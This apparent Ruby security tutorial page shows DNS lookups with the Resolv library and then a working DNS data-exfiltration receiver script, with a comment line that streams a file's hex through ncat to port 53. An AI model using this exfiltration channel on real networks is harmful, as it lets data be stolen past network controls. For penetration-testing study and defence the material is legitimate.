DNS

DNS lookup

Forward DNS lookup (Host to IP)

  1. require 'resolv'
  2. Resolv.getaddresses "rubyfu.net"

Returns array of all IPs

  1. ["23.23.122.48", "107.20.161.48", "174.129.41.187"]

or use Resolv.getaddress to get one address only

Reverse DNS lookup (IP to Host)

  1. require 'resolv'
  2. Resolv.getnames "23.23.122.48"

Returns array of all hostnames, if PTR is assigned

  1. ["ec2-174-129-41-187.compute-1.amazonaws.com"]

or use Resolv.name to get one name only

DNS Data Exfiltration

DNS out-band connection is usually allowed in local networks, which is the major benefits of using DNS to transfer data to external server.

dnsteal.rb

  1. #!/usr/bin/env ruby
  2. # KING SABRI | @KINGSABRI
  3. # for hex in $(xxd -p ethernet-cable.jpg); do echo $hex | ncat -u localhost 53 ; done
  4. #
  5. require 'socket'
  6. if ARGV.size < 1
  7. puts "[+] sudo ruby #{__FILE__} <FILENAME>"
  8. exit
  9. else
  10. file = ARGV[0]
  11. end
  12. # Open UDP Socket and bind it to port 53 on all interfaces
  13. udpsoc = UDPSocket.new
  14. udpsoc.bind('0.0.0.0', 53)
  15. begin
  16. data = ''
  17. data_old = ''
  18. loop do
  19. response = udpsoc.recvfrom(1000)
  20. response = response[0].force_encoding("ISO-8859-1").encode("utf-8")
  21. data = response.match(/[^<][a-f0-9]([a-f0-9]).*[a-f0-9]([a-f0-9])/i).to_s
  22. # Write received data to file
  23. File.open(file, 'a') do |d|
  24. d.write [data].pack("H*") unless data == data_old # Don't write the same data twice(poor workaround)
  25. puts data unless data == data_old
  26. end
  27. data_old = data
  28. end
  29. rescue Exception => e
  30. puts e
  31. end

Run it

  1. ruby dnsteal.rb image.jpg